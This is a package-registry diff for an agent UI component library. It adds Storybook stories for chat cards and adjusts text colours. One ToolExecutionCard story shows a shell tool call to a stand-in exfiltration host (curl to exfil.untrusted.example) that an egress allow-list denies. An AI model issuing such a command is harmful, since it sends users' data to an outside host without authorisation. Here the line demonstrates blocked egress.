@steerable/agent-ui 0.12.3 → 0.12.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cards/ActionSegmentCard.stories.d.ts +6 -0
- package/dist/cards/ActionSegmentCard.stories.js +48 -0
- package/dist/cards/AnalysisDocumentCard.js +1 -1
- package/dist/cards/AnalysisDocumentCard.stories.d.ts +6 -0
- package/dist/cards/AnalysisDocumentCard.stories.js +29 -0
- package/dist/cards/AskUserQuestionsCard.js +7 -7
- package/dist/cards/AskUserQuestionsCard.stories.d.ts +7 -0
- package/dist/cards/AskUserQuestionsCard.stories.js +56 -0
- package/dist/cards/CoverageReportCard.js +4 -4
- package/dist/cards/CoverageReportCard.stories.d.ts +6 -0
- package/dist/cards/CoverageReportCard.stories.js +69 -0
- package/dist/cards/OrchestrationPlanCard.js +5 -5
- package/dist/cards/OrchestrationPlanCard.stories.d.ts +6 -0
- package/dist/cards/OrchestrationPlanCard.stories.js +36 -0
- package/dist/cards/PlanSelectorCard.js +11 -11
- package/dist/cards/PlanSelectorCard.stories.d.ts +6 -0
- package/dist/cards/PlanSelectorCard.stories.js +50 -0
- package/dist/cards/PlanStepsCard.js +1 -1
- package/dist/cards/PlanStepsCard.stories.d.ts +6 -0
- package/dist/cards/PlanStepsCard.stories.js +25 -0
- package/dist/cards/QuizCard.js +3 -3
- package/dist/cards/QuizCard.stories.d.ts +6 -0
- package/dist/cards/QuizCard.stories.js +43 -0
- package/dist/cards/ResearchPlanCard.js +10 -10
- package/dist/cards/ResearchPlanCard.stories.d.ts +6 -0
- package/dist/cards/ResearchPlanCard.stories.js +50 -0
- package/dist/cards/SearchSourcesCard.js +4 -4
- package/dist/cards/SearchSourcesCard.stories.d.ts +6 -0
- package/dist/cards/SearchSourcesCard.stories.js +40 -0
- package/dist/cards/SuggestedRepliesCard.stories.d.ts +6 -0
- package/dist/cards/SuggestedRepliesCard.stories.js +31 -0
- package/dist/cards/SummaryMessageCard.js +3 -3
- package/dist/cards/SummaryMessageCard.stories.d.ts +7 -0
- package/dist/cards/SummaryMessageCard.stories.js +40 -0
- package/dist/cards/ThinkingProcessCard.js +3 -3
- package/dist/cards/ThinkingProcessCard.stories.d.ts +7 -0
- package/dist/cards/ThinkingProcessCard.stories.js +37 -0
- package/dist/cards/ToolExecutionCard.js +7 -7
- package/dist/cards/ToolExecutionCard.stories.d.ts +7 -0
- package/dist/cards/ToolExecutionCard.stories.js +53 -0
- package/package.json +2 -2
- package/src/DesignTokens.mdx +83 -0
- package/src/Introduction.mdx +21 -21
- package/src/cards/ActionSegmentCard.stories.tsx +57 -0
- package/src/cards/AnalysisDocumentCard.stories.tsx +38 -0
- package/src/cards/AnalysisDocumentCard.tsx +3 -3
- package/src/cards/AskUserQuestionsCard.stories.tsx +66 -0
- package/src/cards/AskUserQuestionsCard.tsx +11 -11
- package/src/cards/CoverageReportCard.stories.tsx +78 -0
- package/src/cards/CoverageReportCard.tsx +12 -12
- package/src/cards/OrchestrationPlanCard.stories.tsx +45 -0
- package/src/cards/OrchestrationPlanCard.tsx +19 -19
- package/src/cards/PlanSelectorCard.stories.tsx +59 -0
- package/src/cards/PlanSelectorCard.tsx +19 -19
- package/src/cards/PlanStepsCard.stories.tsx +34 -0
- package/src/cards/PlanStepsCard.tsx +2 -2
- package/src/cards/QuizCard.stories.tsx +52 -0
- package/src/cards/QuizCard.tsx +5 -5
- package/src/cards/ResearchPlanCard.stories.tsx +59 -0
- package/src/cards/ResearchPlanCard.tsx +14 -14
- package/src/cards/SearchSourcesCard.stories.tsx +49 -0
- package/src/cards/SearchSourcesCard.tsx +10 -10
- package/src/cards/SuggestedRepliesCard.stories.tsx +40 -0
- package/src/cards/SummaryMessageCard.stories.tsx +50 -0
- package/src/cards/SummaryMessageCard.tsx +3 -3
- package/src/cards/ThinkingProcessCard.stories.tsx +47 -0
- package/src/cards/ThinkingProcessCard.tsx +4 -4
- package/src/cards/ToolExecutionCard.stories.tsx +63 -0
- package/src/cards/ToolExecutionCard.tsx +13 -13
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
import type { Meta, StoryObj } from '@storybook/react';
|
|
2
|
+
import { SearchSourcesCard } from './SearchSourcesCard.js';
|
|
3
|
+
|
|
4
|
+
const meta: Meta<typeof SearchSourcesCard> = {
|
|
5
|
+
title: 'Cards/SearchSourcesCard',
|
|
6
|
+
component: SearchSourcesCard,
|
|
7
|
+
parameters: {
|
|
8
|
+
layout: 'centered',
|
|
9
|
+
docs: {
|
|
10
|
+
description: {
|
|
11
|
+
component:
|
|
12
|
+
'Stacked citation pill and expandable web search source list.',
|
|
13
|
+
},
|
|
14
|
+
},
|
|
15
|
+
},
|
|
16
|
+
decorators: [
|
|
17
|
+
(Story) => (
|
|
18
|
+
<div className="w-[480px]">
|
|
19
|
+
<Story />
|
|
20
|
+
</div>
|
|
21
|
+
),
|
|
22
|
+
],
|
|
23
|
+
};
|
|
24
|
+
|
|
25
|
+
export default meta;
|
|
26
|
+
type Story = StoryObj<typeof SearchSourcesCard>;
|
|
27
|
+
|
|
28
|
+
export const Default: Story = {
|
|
29
|
+
args: {
|
|
30
|
+
payload: {
|
|
31
|
+
sources: [
|
|
32
|
+
{
|
|
33
|
+
url: 'https://steerableframework.com/spec/overview/',
|
|
34
|
+
title: 'Steerable Wire Protocol Spec',
|
|
35
|
+
snippet: 'Single JSON Schema generating TypeScript and Pydantic wire models.',
|
|
36
|
+
favicon: null,
|
|
37
|
+
publishedAt: '2026-11-01',
|
|
38
|
+
},
|
|
39
|
+
{
|
|
40
|
+
url: 'https://steerableframework.com/evals/',
|
|
41
|
+
title: 'Terminal-Bench 2.1 Evaluation Methodology',
|
|
42
|
+
snippet: '89 real terminal tasks across Flash-priced models.',
|
|
43
|
+
favicon: null,
|
|
44
|
+
publishedAt: '2026-11-10',
|
|
45
|
+
},
|
|
46
|
+
],
|
|
47
|
+
},
|
|
48
|
+
},
|
|
49
|
+
};
|
|
@@ -59,7 +59,7 @@ function FaviconCircle({ src, size = 18 }: { src: string | null; size?: number }
|
|
|
59
59
|
>
|
|
60
60
|
<GlobeIcon
|
|
61
61
|
size={Math.round(size * 0.55)}
|
|
62
|
-
className="text-[var(--agent-muted-foreground,#
|
|
62
|
+
className="text-[var(--agent-muted-foreground,#4b5563)]"
|
|
63
63
|
/>
|
|
64
64
|
</span>
|
|
65
65
|
);
|
|
@@ -129,7 +129,7 @@ export const SearchSourcesCard: React.FC<SearchSourcesCardProps> = ({
|
|
|
129
129
|
className={
|
|
130
130
|
isCard
|
|
131
131
|
? 'flex w-full items-center justify-between gap-2 px-3 py-2 text-left'
|
|
132
|
-
: 'group flex items-center gap-2 rounded-md py-1 text-sm text-[var(--agent-muted-foreground,#
|
|
132
|
+
: 'group flex items-center gap-2 rounded-md py-1 text-sm text-[var(--agent-muted-foreground,#4b5563)] transition-colors duration-150 hover:text-[var(--agent-foreground,#111827)]'
|
|
133
133
|
}
|
|
134
134
|
>
|
|
135
135
|
<span className={isCard ? 'flex items-center gap-2' : 'flex items-center'}>
|
|
@@ -140,7 +140,7 @@ export const SearchSourcesCard: React.FC<SearchSourcesCardProps> = ({
|
|
|
140
140
|
<FaviconCircle key={`${idx}-${s.url}`} src={s.favicon ?? faviconUrlFor(s.url)} />
|
|
141
141
|
))}
|
|
142
142
|
</span>
|
|
143
|
-
<span className="text-xs text-[var(--agent-muted-foreground,#
|
|
143
|
+
<span className="text-xs text-[var(--agent-muted-foreground,#4b5563)]">
|
|
144
144
|
{summaryLabel}
|
|
145
145
|
</span>
|
|
146
146
|
</>
|
|
@@ -158,7 +158,7 @@ export const SearchSourcesCard: React.FC<SearchSourcesCardProps> = ({
|
|
|
158
158
|
))}
|
|
159
159
|
{more > 0 && (
|
|
160
160
|
<span
|
|
161
|
-
className="inline-flex items-center justify-center rounded-full border-2 border-[var(--agent-background,#fff)] bg-[var(--agent-muted,#f3f4f6)] text-[10px] font-medium text-[var(--agent-muted-foreground,#
|
|
161
|
+
className="inline-flex items-center justify-center rounded-full border-2 border-[var(--agent-background,#fff)] bg-[var(--agent-muted,#f3f4f6)] text-[10px] font-medium text-[var(--agent-muted-foreground,#4b5563)]"
|
|
162
162
|
style={{ width: 18, height: 18, marginLeft: -6, zIndex: 0 }}
|
|
163
163
|
>
|
|
164
164
|
+{more}
|
|
@@ -172,7 +172,7 @@ export const SearchSourcesCard: React.FC<SearchSourcesCardProps> = ({
|
|
|
172
172
|
<ChevronDownIcon
|
|
173
173
|
size={isCard ? 14 : 14}
|
|
174
174
|
className={[
|
|
175
|
-
isCard ? 'text-[var(--agent-muted-foreground,#
|
|
175
|
+
isCard ? 'text-[var(--agent-muted-foreground,#4b5563)]' : 'h-3.5 w-3.5',
|
|
176
176
|
'transition-transform duration-200',
|
|
177
177
|
expanded ? 'rotate-180' : '',
|
|
178
178
|
].filter(Boolean).join(' ')}
|
|
@@ -192,18 +192,18 @@ export const SearchSourcesCard: React.FC<SearchSourcesCardProps> = ({
|
|
|
192
192
|
<FaviconCircle src={s.favicon ?? faviconUrlFor(s.url)} size={16} />
|
|
193
193
|
<span className="min-w-0 flex-1">
|
|
194
194
|
<span className="block truncate font-medium">{s.title || extractDomain(s.url)}</span>
|
|
195
|
-
<span className="block truncate text-xs text-[var(--agent-muted-foreground,#
|
|
195
|
+
<span className="block truncate text-xs text-[var(--agent-muted-foreground,#4b5563)]">
|
|
196
196
|
{extractDomain(s.url)}
|
|
197
197
|
</span>
|
|
198
198
|
{s.snippet && (
|
|
199
|
-
<span className="mt-1 block text-xs text-[var(--agent-muted-foreground,#
|
|
199
|
+
<span className="mt-1 block text-xs text-[var(--agent-muted-foreground,#4b5563)] line-clamp-2">
|
|
200
200
|
{s.snippet}
|
|
201
201
|
</span>
|
|
202
202
|
)}
|
|
203
203
|
</span>
|
|
204
204
|
<ExternalLinkIcon
|
|
205
205
|
size={12}
|
|
206
|
-
className="mt-1 flex-shrink-0 text-[var(--agent-muted-foreground,#
|
|
206
|
+
className="mt-1 flex-shrink-0 text-[var(--agent-muted-foreground,#4b5563)]"
|
|
207
207
|
/>
|
|
208
208
|
</a>
|
|
209
209
|
</li>
|
|
@@ -224,13 +224,13 @@ export const SearchSourcesCard: React.FC<SearchSourcesCardProps> = ({
|
|
|
224
224
|
<div className="truncate text-xs text-[var(--agent-foreground,#111827)]">
|
|
225
225
|
{s.title || extractDomain(s.url)}
|
|
226
226
|
</div>
|
|
227
|
-
<div className="truncate text-[11px] text-[var(--agent-muted-foreground,#
|
|
227
|
+
<div className="truncate text-[11px] text-[var(--agent-muted-foreground,#4b5563)]">
|
|
228
228
|
{extractDomain(s.url)}
|
|
229
229
|
</div>
|
|
230
230
|
</div>
|
|
231
231
|
<ExternalLinkIcon
|
|
232
232
|
size={12}
|
|
233
|
-
className="shrink-0 text-[var(--agent-muted-foreground,#
|
|
233
|
+
className="shrink-0 text-[var(--agent-muted-foreground,#4b5563)] opacity-0 transition-opacity group-hover/item:opacity-100"
|
|
234
234
|
/>
|
|
235
235
|
</a>
|
|
236
236
|
))}
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
import type { Meta, StoryObj } from '@storybook/react';
|
|
2
|
+
import { SuggestedRepliesCard } from './SuggestedRepliesCard.js';
|
|
3
|
+
|
|
4
|
+
const meta: Meta<typeof SuggestedRepliesCard> = {
|
|
5
|
+
title: 'Cards/SuggestedRepliesCard',
|
|
6
|
+
component: SuggestedRepliesCard,
|
|
7
|
+
parameters: {
|
|
8
|
+
layout: 'centered',
|
|
9
|
+
actions: { argTypesRegex: '^on[A-Z].*' },
|
|
10
|
+
docs: {
|
|
11
|
+
description: {
|
|
12
|
+
component:
|
|
13
|
+
'Follow-up suggestion chips rendered after an assistant turn completes.',
|
|
14
|
+
},
|
|
15
|
+
},
|
|
16
|
+
},
|
|
17
|
+
decorators: [
|
|
18
|
+
(Story) => (
|
|
19
|
+
<div className="w-[480px]">
|
|
20
|
+
<Story />
|
|
21
|
+
</div>
|
|
22
|
+
),
|
|
23
|
+
],
|
|
24
|
+
};
|
|
25
|
+
|
|
26
|
+
export default meta;
|
|
27
|
+
type Story = StoryObj<typeof SuggestedRepliesCard>;
|
|
28
|
+
|
|
29
|
+
export const Default: Story = {
|
|
30
|
+
args: {
|
|
31
|
+
onSelect: () => {},
|
|
32
|
+
payload: {
|
|
33
|
+
suggestions: [
|
|
34
|
+
'Run the parser unit tests',
|
|
35
|
+
'Inspect Seatbelt sandbox rules',
|
|
36
|
+
'Export audit-report.md',
|
|
37
|
+
],
|
|
38
|
+
},
|
|
39
|
+
},
|
|
40
|
+
};
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
import type { Meta, StoryObj } from '@storybook/react';
|
|
2
|
+
import { SummaryMessageCard } from './SummaryMessageCard.js';
|
|
3
|
+
|
|
4
|
+
const meta: Meta<typeof SummaryMessageCard> = {
|
|
5
|
+
title: 'Cards/SummaryMessageCard',
|
|
6
|
+
component: SummaryMessageCard,
|
|
7
|
+
parameters: {
|
|
8
|
+
layout: 'centered',
|
|
9
|
+
docs: {
|
|
10
|
+
description: {
|
|
11
|
+
component:
|
|
12
|
+
'Displays compacted conversation history summaries with card and inline appearances.',
|
|
13
|
+
},
|
|
14
|
+
},
|
|
15
|
+
},
|
|
16
|
+
decorators: [
|
|
17
|
+
(Story) => (
|
|
18
|
+
<div className="w-[480px]">
|
|
19
|
+
<Story />
|
|
20
|
+
</div>
|
|
21
|
+
),
|
|
22
|
+
],
|
|
23
|
+
};
|
|
24
|
+
|
|
25
|
+
export default meta;
|
|
26
|
+
type Story = StoryObj<typeof SummaryMessageCard>;
|
|
27
|
+
|
|
28
|
+
export const CardExpanded: Story = {
|
|
29
|
+
args: {
|
|
30
|
+
defaultExpanded: true,
|
|
31
|
+
payload: {
|
|
32
|
+
summarizedCount: 14,
|
|
33
|
+
status: 'complete',
|
|
34
|
+
type: null,
|
|
35
|
+
body: 'Earlier turns inspected the 5-tier workspace, verified 38 sidecar RPC methods, and patched XML tool-call recovery in src/parser.py.',
|
|
36
|
+
},
|
|
37
|
+
},
|
|
38
|
+
};
|
|
39
|
+
|
|
40
|
+
export const Inline: Story = {
|
|
41
|
+
args: {
|
|
42
|
+
appearance: 'inline',
|
|
43
|
+
payload: {
|
|
44
|
+
summarizedCount: 8,
|
|
45
|
+
status: 'complete',
|
|
46
|
+
type: null,
|
|
47
|
+
body: 'Compacted 8 earlier turns.',
|
|
48
|
+
},
|
|
49
|
+
},
|
|
50
|
+
};
|
|
@@ -89,7 +89,7 @@ export const SummaryMessageCard: React.FC<SummaryMessageCardProps> = ({
|
|
|
89
89
|
onClick={() => canToggle && setExpanded((v) => !v)}
|
|
90
90
|
disabled={!canToggle}
|
|
91
91
|
className={[
|
|
92
|
-
'group inline-flex items-center gap-1.5 rounded-md px-2 py-1 text-[11px] leading-none text-[var(--agent-muted-foreground,#
|
|
92
|
+
'group inline-flex items-center gap-1.5 rounded-md px-2 py-1 text-[11px] leading-none text-[var(--agent-muted-foreground,#4b5563)] transition-colors',
|
|
93
93
|
canToggle
|
|
94
94
|
? 'cursor-pointer hover:bg-[var(--agent-muted,#f3f4f6)] hover:text-[var(--agent-foreground,#111827)]'
|
|
95
95
|
: 'cursor-default',
|
|
@@ -108,7 +108,7 @@ export const SummaryMessageCard: React.FC<SummaryMessageCardProps> = ({
|
|
|
108
108
|
)}
|
|
109
109
|
</button>
|
|
110
110
|
{body && (
|
|
111
|
-
<div className="ml-3 mt-1.5 rounded-md border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-muted,#f3f4f6)]/30 px-3 py-2 text-[12px] leading-relaxed text-[var(--agent-muted-foreground,#
|
|
111
|
+
<div className="ml-3 mt-1.5 rounded-md border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-muted,#f3f4f6)]/30 px-3 py-2 text-[12px] leading-relaxed text-[var(--agent-muted-foreground,#4b5563)]">
|
|
112
112
|
{body}
|
|
113
113
|
</div>
|
|
114
114
|
)}
|
|
@@ -127,7 +127,7 @@ export const SummaryMessageCard: React.FC<SummaryMessageCardProps> = ({
|
|
|
127
127
|
type="button"
|
|
128
128
|
onClick={() => canToggle && setExpanded((v) => !v)}
|
|
129
129
|
disabled={!canToggle}
|
|
130
|
-
className="flex w-full items-center gap-2 px-3 py-2 text-left text-[var(--agent-muted-foreground,#
|
|
130
|
+
className="flex w-full items-center gap-2 px-3 py-2 text-left text-[var(--agent-muted-foreground,#4b5563)]"
|
|
131
131
|
>
|
|
132
132
|
{isPending ? <LoaderIcon size={12} /> : <ArchiveIcon size={12} />}
|
|
133
133
|
<span>{labelNode}</span>
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
import type { Meta, StoryObj } from '@storybook/react';
|
|
2
|
+
import { ThinkingProcessCard } from './ThinkingProcessCard.js';
|
|
3
|
+
|
|
4
|
+
const meta: Meta<typeof ThinkingProcessCard> = {
|
|
5
|
+
title: 'Cards/ThinkingProcessCard',
|
|
6
|
+
component: ThinkingProcessCard,
|
|
7
|
+
parameters: {
|
|
8
|
+
layout: 'centered',
|
|
9
|
+
docs: {
|
|
10
|
+
description: {
|
|
11
|
+
component:
|
|
12
|
+
'Collapsible reasoning block supporting streaming auto-expand, elapsed thinking duration, and custom markdown rendering.',
|
|
13
|
+
},
|
|
14
|
+
},
|
|
15
|
+
},
|
|
16
|
+
decorators: [
|
|
17
|
+
(Story) => (
|
|
18
|
+
<div className="w-[480px]">
|
|
19
|
+
<Story />
|
|
20
|
+
</div>
|
|
21
|
+
),
|
|
22
|
+
],
|
|
23
|
+
};
|
|
24
|
+
|
|
25
|
+
export default meta;
|
|
26
|
+
type Story = StoryObj<typeof ThinkingProcessCard>;
|
|
27
|
+
|
|
28
|
+
export const Expanded: Story = {
|
|
29
|
+
args: {
|
|
30
|
+
durationMs: 1420,
|
|
31
|
+
payload: {
|
|
32
|
+
defaultExpanded: true,
|
|
33
|
+
body: 'Round 1 emitted a plain-text <function=local_exec_shell> block. Parsing arguments, running inside Seatbelt confinement, and verifying pytest output before replying.',
|
|
34
|
+
},
|
|
35
|
+
},
|
|
36
|
+
};
|
|
37
|
+
|
|
38
|
+
export const Streaming: Story = {
|
|
39
|
+
args: {
|
|
40
|
+
isStreaming: true,
|
|
41
|
+
autoExpandWhileStreaming: true,
|
|
42
|
+
payload: {
|
|
43
|
+
defaultExpanded: true,
|
|
44
|
+
body: 'Checking runtime contract against generated TypeScript and Pydantic schemas…',
|
|
45
|
+
},
|
|
46
|
+
},
|
|
47
|
+
};
|
|
@@ -105,7 +105,7 @@ export const ThinkingProcessCard: React.FC<ThinkingProcessCardProps> = ({
|
|
|
105
105
|
: defaultLabel;
|
|
106
106
|
|
|
107
107
|
const defaultBodyClasses =
|
|
108
|
-
'whitespace-pre-wrap break-words font-sans text-xs leading-relaxed text-[var(--agent-muted-foreground,#
|
|
108
|
+
'whitespace-pre-wrap break-words font-sans text-xs leading-relaxed text-[var(--agent-muted-foreground,#4b5563)]';
|
|
109
109
|
|
|
110
110
|
return (
|
|
111
111
|
<div className={['steerable-thinking-process', className].filter(Boolean).join(' ')}>
|
|
@@ -116,18 +116,18 @@ export const ThinkingProcessCard: React.FC<ThinkingProcessCardProps> = ({
|
|
|
116
116
|
'flex items-center gap-1 text-xs transition-colors duration-200',
|
|
117
117
|
isStreaming
|
|
118
118
|
? 'font-medium text-[var(--agent-foreground,#111827)]'
|
|
119
|
-
: 'text-[var(--agent-muted-foreground,#
|
|
119
|
+
: 'text-[var(--agent-muted-foreground,#4b5563)] hover:text-[var(--agent-foreground,#111827)]',
|
|
120
120
|
].join(' ')}
|
|
121
121
|
>
|
|
122
122
|
{expanded ? <ChevronDownIcon size={14} /> : <ChevronRightIcon size={14} />}
|
|
123
123
|
<span>{labelNode}</span>
|
|
124
124
|
{duration && !isStreaming && (
|
|
125
|
-
<span className="ml-1 text-[var(--agent-muted-foreground,#
|
|
125
|
+
<span className="ml-1 text-[var(--agent-muted-foreground,#4b5563)]">({duration})</span>
|
|
126
126
|
)}
|
|
127
127
|
{isStreaming && !expanded && (
|
|
128
128
|
<span
|
|
129
129
|
aria-hidden
|
|
130
|
-
className="ml-1 inline-block h-1.5 w-1.5 animate-pulse rounded-full bg-[var(--agent-muted-foreground,#
|
|
130
|
+
className="ml-1 inline-block h-1.5 w-1.5 animate-pulse rounded-full bg-[var(--agent-muted-foreground,#4b5563)]"
|
|
131
131
|
/>
|
|
132
132
|
)}
|
|
133
133
|
</button>
|
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
import type { Meta, StoryObj } from '@storybook/react';
|
|
2
|
+
import { ToolExecutionCard } from './ToolExecutionCard.js';
|
|
3
|
+
|
|
4
|
+
const meta: Meta<typeof ToolExecutionCard> = {
|
|
5
|
+
title: 'Cards/ToolExecutionCard',
|
|
6
|
+
component: ToolExecutionCard,
|
|
7
|
+
parameters: {
|
|
8
|
+
layout: 'centered',
|
|
9
|
+
actions: { argTypesRegex: '^on[A-Z].*' },
|
|
10
|
+
docs: {
|
|
11
|
+
description: {
|
|
12
|
+
component:
|
|
13
|
+
'Single tool execution row from `@steerable/agent-ui/cards` with status badge, duration, and expandable args/output inspector.',
|
|
14
|
+
},
|
|
15
|
+
},
|
|
16
|
+
},
|
|
17
|
+
decorators: [
|
|
18
|
+
(Story) => (
|
|
19
|
+
<div className="w-[480px]">
|
|
20
|
+
<Story />
|
|
21
|
+
</div>
|
|
22
|
+
),
|
|
23
|
+
],
|
|
24
|
+
};
|
|
25
|
+
|
|
26
|
+
export default meta;
|
|
27
|
+
type Story = StoryObj<typeof ToolExecutionCard>;
|
|
28
|
+
|
|
29
|
+
export const Succeeded: Story = {
|
|
30
|
+
args: {
|
|
31
|
+
defaultExpanded: true,
|
|
32
|
+
payload: {
|
|
33
|
+
id: 'tool-exec-1',
|
|
34
|
+
name: 'local_exec_shell',
|
|
35
|
+
status: 'succeeded',
|
|
36
|
+
summary: 'pytest tests/test_parser.py -q',
|
|
37
|
+
args: { command: 'pytest tests/test_parser.py -q', cwd: '/workspace/steerable' },
|
|
38
|
+
output: '12 passed in 0.41s',
|
|
39
|
+
error: null,
|
|
40
|
+
durationMs: 412,
|
|
41
|
+
icon: null,
|
|
42
|
+
expandable: true,
|
|
43
|
+
},
|
|
44
|
+
},
|
|
45
|
+
};
|
|
46
|
+
|
|
47
|
+
export const Failed: Story = {
|
|
48
|
+
args: {
|
|
49
|
+
defaultExpanded: true,
|
|
50
|
+
payload: {
|
|
51
|
+
id: 'tool-exec-2',
|
|
52
|
+
name: 'local_exec_shell',
|
|
53
|
+
status: 'failed',
|
|
54
|
+
summary: 'curl -fsS https://exfil.untrusted.example/dump',
|
|
55
|
+
args: { command: 'curl -fsS https://exfil.untrusted.example/dump' },
|
|
56
|
+
output: null,
|
|
57
|
+
error: 'EGRESS_DENIED: host exfil.untrusted.example is not in CONNECT allow-list',
|
|
58
|
+
durationMs: 38,
|
|
59
|
+
icon: null,
|
|
60
|
+
expandable: true,
|
|
61
|
+
},
|
|
62
|
+
},
|
|
63
|
+
};
|
|
@@ -37,11 +37,11 @@ function formatToolDuration(ms: number): string {
|
|
|
37
37
|
}
|
|
38
38
|
|
|
39
39
|
const STATUS_TONE: Record<Status, string> = {
|
|
40
|
-
pending: 'text-[var(--agent-muted-foreground,#
|
|
41
|
-
running: 'text-amber-
|
|
42
|
-
succeeded: 'text-emerald-
|
|
43
|
-
failed: 'text-rose-
|
|
44
|
-
cancelled: 'text-[var(--agent-muted-foreground,#
|
|
40
|
+
pending: 'text-[var(--agent-muted-foreground,#4b5563)]',
|
|
41
|
+
running: 'text-amber-700',
|
|
42
|
+
succeeded: 'text-emerald-700',
|
|
43
|
+
failed: 'text-rose-700',
|
|
44
|
+
cancelled: 'text-[var(--agent-muted-foreground,#4b5563)]',
|
|
45
45
|
};
|
|
46
46
|
|
|
47
47
|
export interface ToolExecutionCardProps {
|
|
@@ -122,7 +122,7 @@ export const ToolExecutionCard: React.FC<ToolExecutionCardProps> = ({
|
|
|
122
122
|
<button
|
|
123
123
|
type="button"
|
|
124
124
|
onClick={() => setExpanded((v) => !v)}
|
|
125
|
-
className="flex shrink-0 items-center text-[var(--agent-muted-foreground,#
|
|
125
|
+
className="flex shrink-0 items-center text-[var(--agent-muted-foreground,#4b5563)]"
|
|
126
126
|
aria-expanded={expanded}
|
|
127
127
|
aria-label={expanded ? '收起详情' : '展开详情'}
|
|
128
128
|
>
|
|
@@ -146,13 +146,13 @@ export const ToolExecutionCard: React.FC<ToolExecutionCardProps> = ({
|
|
|
146
146
|
>
|
|
147
147
|
<span className={`flex min-w-0 flex-1 items-center gap-1.5 py-1 pr-2.5 ${expandable ? '' : 'pl-2.5'}`}>
|
|
148
148
|
{lead ?? (
|
|
149
|
-
<ZapIcon size={12} className="shrink-0 text-[var(--agent-muted-foreground,#
|
|
149
|
+
<ZapIcon size={12} className="shrink-0 text-[var(--agent-muted-foreground,#4b5563)]" />
|
|
150
150
|
)}
|
|
151
151
|
<span className="shrink-0 font-medium text-[var(--agent-foreground,#111827)]">
|
|
152
152
|
{title}
|
|
153
153
|
</span>
|
|
154
154
|
{payload.summary && (
|
|
155
|
-
<span className="min-w-0 flex-1 truncate text-[var(--agent-muted-foreground,#
|
|
155
|
+
<span className="min-w-0 flex-1 truncate text-[var(--agent-muted-foreground,#4b5563)]">
|
|
156
156
|
{payload.summary}
|
|
157
157
|
</span>
|
|
158
158
|
)}
|
|
@@ -160,10 +160,10 @@ export const ToolExecutionCard: React.FC<ToolExecutionCardProps> = ({
|
|
|
160
160
|
<StatusIcon status={status} />
|
|
161
161
|
<span className={STATUS_TONE[status]}>{STATUS_LABEL[status]}</span>
|
|
162
162
|
{duration && (
|
|
163
|
-
<span className="text-[var(--agent-muted-foreground,#
|
|
163
|
+
<span className="text-[var(--agent-muted-foreground,#4b5563)]">· {duration}</span>
|
|
164
164
|
)}
|
|
165
165
|
{note && (
|
|
166
|
-
<span className="text-[var(--agent-muted-foreground,#
|
|
166
|
+
<span className="text-[var(--agent-muted-foreground,#4b5563)]">{note}</span>
|
|
167
167
|
)}
|
|
168
168
|
</span>
|
|
169
169
|
</span>
|
|
@@ -173,7 +173,7 @@ export const ToolExecutionCard: React.FC<ToolExecutionCardProps> = ({
|
|
|
173
173
|
<div className="space-y-1.5 border-t border-[var(--agent-border,#e5e7eb)] px-2.5 py-1.5">
|
|
174
174
|
{payload.args !== undefined && (
|
|
175
175
|
<section>
|
|
176
|
-
<div className="mb-1 text-[10px] uppercase tracking-wider text-[var(--agent-muted-foreground,#
|
|
176
|
+
<div className="mb-1 text-[10px] uppercase tracking-wider text-[var(--agent-muted-foreground,#4b5563)]">
|
|
177
177
|
输入
|
|
178
178
|
</div>
|
|
179
179
|
{renderArgs ? renderArgs(payload.args) : defaultRender(payload.args)}
|
|
@@ -181,7 +181,7 @@ export const ToolExecutionCard: React.FC<ToolExecutionCardProps> = ({
|
|
|
181
181
|
)}
|
|
182
182
|
{payload.output !== undefined && (
|
|
183
183
|
<section>
|
|
184
|
-
<div className="mb-1 text-[10px] uppercase tracking-wider text-[var(--agent-muted-foreground,#
|
|
184
|
+
<div className="mb-1 text-[10px] uppercase tracking-wider text-[var(--agent-muted-foreground,#4b5563)]">
|
|
185
185
|
输出
|
|
186
186
|
</div>
|
|
187
187
|
{renderOutput ? renderOutput(payload.output) : defaultRender(payload.output)}
|
|
@@ -189,7 +189,7 @@ export const ToolExecutionCard: React.FC<ToolExecutionCardProps> = ({
|
|
|
189
189
|
)}
|
|
190
190
|
{payload.error && (
|
|
191
191
|
<section>
|
|
192
|
-
<div className="mb-1 text-[10px] uppercase tracking-wider text-rose-
|
|
192
|
+
<div className="mb-1 text-[10px] uppercase tracking-wider text-rose-700">错误</div>
|
|
193
193
|
<pre className="whitespace-pre-wrap break-words rounded bg-rose-50/60 px-2 py-1.5 text-[11px] text-rose-700">
|
|
194
194
|
{payload.error}
|
|
195
195
|
</pre>
|